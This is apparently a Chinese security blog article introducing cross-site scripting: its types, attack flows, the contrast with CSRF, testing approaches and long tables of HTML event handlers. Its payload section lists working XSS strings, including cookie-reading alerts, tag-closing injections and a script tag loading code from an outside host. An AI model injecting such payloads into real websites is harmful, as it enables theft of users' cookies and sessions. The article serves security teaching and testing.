一、XSS介绍
1.定义
跨站脚本攻击即 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者向Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
2.分类
XSS 攻击通常针对的是用户层面的攻击。
XSS 分为:反射型 XSS、存储型 XSS、DOM 型 XSS。
反射型 XSS
具体攻击流程如下:
1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);
2、用户点击该恶意链接;
3、web 服务将 XSS 代码(JavaScript 代码)以及视图返回给客户端;
4、客户端解析视图以及 XSS 代码(JavaScript 代码),并将执行结果发送到 XSS 平台;
5、攻击者访问 XSS 平台,读取用户的敏感信息(Cookie)。
存储型 XSS
具体攻击流程如下:
1、攻击者向 web 服务插入 XSS 代码;
2、web 服务会将其结果存储到数据库中;
3、用户正常访问 web 服务;
4、web 服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意 XSS 代码(JavaScript 代码);
5、客户端渲染视图,加载 XSS 代码,并向攻击者的 web 服务发送敏感信息;
6、攻击者读取用户的敏感信息。
DOM 型 XSS
具体攻击流程如下:
1、攻击者将 payload 放置在 url 链接中(这是针对是 GET 型反射 XSS);
2、用户点击恶意链接,并打开浏览器;
3、此时浏览器客户端并不会发起 http 请求到 web 服务,而是在浏览器客户端执行 XSS(JavaScript 代码) ;
4、此时将 XSS 代码执行结果发送给攻击者的恶意服务;
5、攻击者访问自己的 XSS 平台并读取用户的敏感信息。
二、XSS特征
类别 |
特征 |
反射型 XSS |
非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。 |
存储型 XSS |
持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫、盗窃 cookie。 |
DOM型XSS |
不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS。 |
三、XSS与CSRF的区别
类别 |
特征 |
XSS |
1、主要是加载 JavaScript 代码,在客户端执行。 2、虽然经过后端,数据库(存储型),但主要需要客户端执行 XSS 代码,才能生效。 3、DOM 型 XSS 一定不经过后端,只是对浏览器客户端发起的攻击。 4、XSS 攻击针对的是用户层面的攻击 (攻击客户端)。 |
CSRF |
1、主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求。 2、一定会经过后端处理,不然无法执行。 3、CSRF 是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法。 |
四、XSS攻击面
XSS 主要是攻击客户端浏览器,但是客户端浏览器侧的 JavaScript 并不像 Node.js 这种后端 JavaScript 代码可以执行命令,那么 XSS 只能用来弹窗测试吗?实际上并不是这样的,如果你的 JavaScript 代码能力很强,那么可以钓鱼、窃取 Cookie、令牌、攻击浏览器(2021 年 4 月 Chrome 0 Day)、蠕虫攻击、挂黑页(放广告刷流量)、内网探测(针对 HTTP,websocket)等等。
1、黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
-
URL 的每一个参数
-
URL 本身
-
表单
-
搜索框
常见业务场景
-
重灾区:评论区、留言区、个人信息、订单信息等
-
针对型:站内信、网页即时通讯、私信、意见反馈
-
存在风险:搜索框、当前目录、图片属性等
2、白盒测试(代码审计)
关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP 中常见的接收参数的方式有 $_GET、$_POST、$_REQUEST 等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,再看输出到页面中的数据是否进行了过滤和 html 编码等处理。
也可以搜索类似 echo 这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。同理审计 DOM 型注入可以搜索一些 js 操作 DOM 元素的关键词进行审计。
五、XSS相关payload
xss 主要是针对浏览器客户端的一种攻击,那么需要执行 JavaScript 代码,那么无疑需要使用到 JavaScript 语言以及在 HTML 中可以加载 JavaScript 的标签。
1、标签类
script
<script></script>标签是最直接的 XSS payload, 标签可以在浏览器渲染 DOM 树的时候同步执行 JavaScript 代码,他可以引用外部,也可以将代码插入标签内。
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
*左右滑动查看更多
svg
<svg></svg>标签是标记定义 SVG 图形的容器,其在 onload 方法中是在 SVG 容器初始化的时候执行代码。
<svg onload="alert(1)">
<svg onload="alert(1)">
img
<img />标签是加载图片资源的标签,其在无法加载图片资源的时候会执行 onerror 方法。
<img src=1 οnerrοr=alert("/xss/")>
<img src=1 οnerrοr=alert(document.cookie)>
<img src="正确图片地址" onload="alert(/xss/)" />
*左右滑动查看更多
body
<body></body>是定义 HTML 文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等)。
<body onload=alert(/xss/)>
<body onpageshow=alert(1)>
video
<video></video>标签是引用远程媒体视频的标签,用法与 img 类似。
<video onerror="alert(/xss/)" src="1"/>
*左右滑动查看更多
style
<style></style>标签是加载 CSS 资源的标签。
<style οnlοad=alert(1)></style>
2、表单类
在 web 中,最常见的为表单了,表单中的标签有<input />、<textarea></textarea>等等,在这里更多的是闭合语句来构成 XSS ,比如:
"/><script>alert(/xss/)</script>
></textarea><script>alert(/xss/)</script>
...
*左右滑动查看更多
3、事件类
在 HTML 中有许多事件操作的方法(DOM 事件),如 onclick 事件、ondblclick 事件等等,只需要用户点击,或者双击也可以执行 JavaScript 代码,在这里就需要闭合,在块级元素中添加事件方法。常见的 DOM 事件方法如下:
1.鼠标事件
属性 |
描述 |
DOM |
onclick |
当用户点击某个对象时调用的事件句柄 |
2 |
oncontextmenu |
在用户点击鼠标右键打开上下文菜单时触发 |
|
ondblclick |
当用户双击某个对象时调用的事件句柄 |
2 |
onmousedown |
鼠标按钮被按下 |
2 |
onmouseenter |
当鼠标指针移动到元素上时触发 |
2 |
onmouseleave |
当鼠标指针移出元素时触发 |
2 |
onmousemove |
鼠标被移动 |
2 |
onmouseover |
鼠标移到某元素之上 |
2 |
onmouseout |
鼠标从某元素移开 |
2 |
onmouseup |
鼠标按键被松开 |
2 |
2.键盘事件
属性 |
描述 |
DOM |
onkeydown |
某个键盘按键被按下 |
2 |
onkeypress |
某个键盘按键被按下并松开 |
2 |
onkeyup |
某个键盘按键被松开 |
2 |
3.框架/对象(Frame/Object)事件
属性 |
描述 |
DOM |
onabort |
图像的加载被中断。 |
2 |
onbeforeunload |
该事件在即将离开页面(刷新或关闭)时触发 |
2 |
onerror |
在加载文档或图像时发生错误。 |
|
onhashchange |
该事件在当前 URL 的锚部分发生修改时触发。 |
|
onload |
一张页面或一幅图像完成加载。 |
2 |
onpageshow |
该事件在用户访问页面时触发 |
|
onpagehide |
该事件在用户离开当前网页跳转到另外一个页面时触发 |
|
onresize |
窗口或框架被重新调整大小。 |
2 |
onscroll |
当文档被滚动时发生的事件。 |
2 |
onunload |
用户退出页面。 |
2 |
4.表单事件
5.剪贴板事件
属性 |
描述 |
DOM |
oncopy |
该事件在用户拷贝元素内容时触发 |
|
oncut |
该事件在用户剪切元素内容时触发 |
|
onpaste |
该事件在用户粘贴元素内容时触发 |
6.打印事件
属性 |
描述 |
DOM |
onafterprint |
该事件在页面已经开始打印,或者打印窗口已经关闭时触发 |
|
onbeforeprint |
该事件在页面即将开始打印时触发 |
7.拖动事件
事件 |
描述 |
DOM |
ondrag |
该事件在元素正在拖动时触发 |
|
ondragend |
该事件在用户完成元素的拖动时触发 |
|
ondragenter |
该事件在拖动的元素进入放置目标时触发 |
|
ondragleave |
该事件在拖动元素离开放置目标时触发 |
|
ondragover |
该事件在拖动元素在放置目标上时触发 |
|
ondragstart |
该事件在用户开始拖动元素时触发 |
|
ondrop |
该事件在拖动元素放置在目标区域时触发 |
8.多媒体(Media)事件
事件 |
描述 |
DOM |
onabort |
事件在视频/音频(audio/video)终止加载时触发。 |
|
oncanplay |
事件在用户可以开始播放视频/音频(audio/video)时触发。 |
|
oncanplaythrough |
事件在视频/音频(audio/video)可以正常播放且无需停顿和缓冲时触发。 |
|
ondurationchange |
事件在视频/音频(audio/video)的时长发生变化时触发。 |
|
onemptied |
当期播放列表为空时触发 |
|
onended |
事件在视频/音频(audio/video)播放结束时触发。 |
|
onerror |
事件在视频/音频(audio/video)数据加载期间发生错误时触发。 |
|
onloadeddata |
事件在浏览器加载视频/音频(audio/video)当前帧时触发触发。 |
|
onloadedmetadata |
事件在指定视频/音频(audio/video)的元数据加载后触发。 |
|
onloadstart |
事件在浏览器开始寻找指定视频/音频(audio/video)触发。 |
|
onpause |
事件在视频/音频(audio/video)暂停时触发。 |
|
onplay |
事件在视频/音频(audio/video)开始播放时触发。 |
|
onplaying |
事件在视频/音频(audio/video)暂停或者在缓冲后准备重新开始播放时触发。 |
|
onprogress |
事件在浏览器下载指定的视频/音频(audio/video)时触发。 |
|
onratechange |
事件在视频/音频(audio/video)的播放速度发送改变时触发。 |
|
onseeked |
事件在用户重新定位视频/音频(audio/video)的播放位置后触发。 |
|
onseeking |
事件在用户开始重新定位视频/音频(audio/video)时触发。 |
|
onstalled |
事件在浏览器获取媒体数据,但媒体数据不可用时触发。 |
|
onsuspend |
事件在浏览器读取媒体数据中止时触发。 |
|
ontimeupdate |
事件在当前的播放位置发送改变时触发。 |
|
onvolumechange |
事件在音量发生改变时触发。 |
|
onwaiting |
事件在视频由于要播放下一帧而需要缓冲时触发。 |
9.动画事件
事件 |
描述 |
DOM |
animationend |
该事件在 CSS 动画结束播放时触发 |
|
animationiteration |
该事件在 CSS 动画重复播放时触发 |
|
animationstart |
该事件在 CSS 动画开始播放时触发 |
10.过渡事件
事件 |
描述 |
DOM |
transitionend |
该事件在 CSS 完成过渡后触发。 |
11.其他事件
事件 |
描述 |
DOM |
onmessage |
该事件通过或者从对象(WebSocket, Web Worker, Event Source 或者子 frame 或父窗口)接收到消息时触发 |
|
onmousewheel |
已废弃。使用onwheel事件替代 |
|
ononline |
该事件在浏览器开始在线工作时触发。 |
|
onoffline |
该事件在浏览器开始离线工作时触发。 |
|
onpopstate |
该事件在窗口的浏览历史(history 对象)发生改变时触发。 |
|
onshow |
该事件当元素在上下文菜单显示时触发 |
|
onstorage |
该事件在 Web Storage(HTML 5 Web 存储)更新时触发 |
|
ontoggle |
该事件在用户打开或关闭元素时触发 |
|
onwheel |
该事件在鼠标滚轮在元素上下滚动时触发 |
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| XSS漏洞介绍与防御(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论